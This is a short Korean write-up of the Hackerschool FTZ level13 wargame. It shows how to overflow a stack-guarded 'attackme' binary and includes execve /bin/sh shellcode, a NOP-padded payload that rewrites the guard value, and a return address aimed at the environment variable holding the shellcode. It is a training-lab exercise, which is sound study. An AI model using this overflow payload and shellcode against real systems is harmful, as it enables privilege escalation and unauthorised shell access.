[해커스쿨_FTZ] level13
hint파일을 보니 attackme의 코드가 나와있습니다.
간단하게 분석하고 넘어갑시다.
스택 가드는 오버 플로우를 방지하기 위해서 넣은 것으로 리턴 주소 앞에 있어서 스택 가드의 주소가 바뀌면 오버 플로우가 일어난 것이라고 보면 됩니다.
( KILL의 SIG 11이 세그먼트 폴트를 띄움 )
처음에 1048바이트를 할당하지만 buf는 1024 바이트이기에 24바이트가 남습니다.
코드를 살펴보면 메모리의 구조는
| buffer: 1024 byte | dummy: 12 byte | i: 4 byte | dummy: 8 byte | SEP: 4 byte | RET: 4 byte |
이렇게 생겼습니다.
export SHELLCODE=`python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
환경변수를 만들어서 쉘코드를 넣어주고 env명령어로 잘 만들어졌는지 확인합시다.
/home/level13/attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x1f\xfc\xff\xbf"'`
그 후 만들어둔 쉘 코드의 주소 값을 구하는 코드를 실행시켜 쉘 코드의 주소 값을 구합시다.
attackme를 실행시키고 null값(\x90)을 1036(buf+dummy)바이트 만큼 넣고 스택 가드주소i(0x1234567)를 넣어준 뒤 다시 null값을 12(dummy+SEP)만큼 채운 후 리턴 값에 환경변수의 주소를 넣어주면 끝!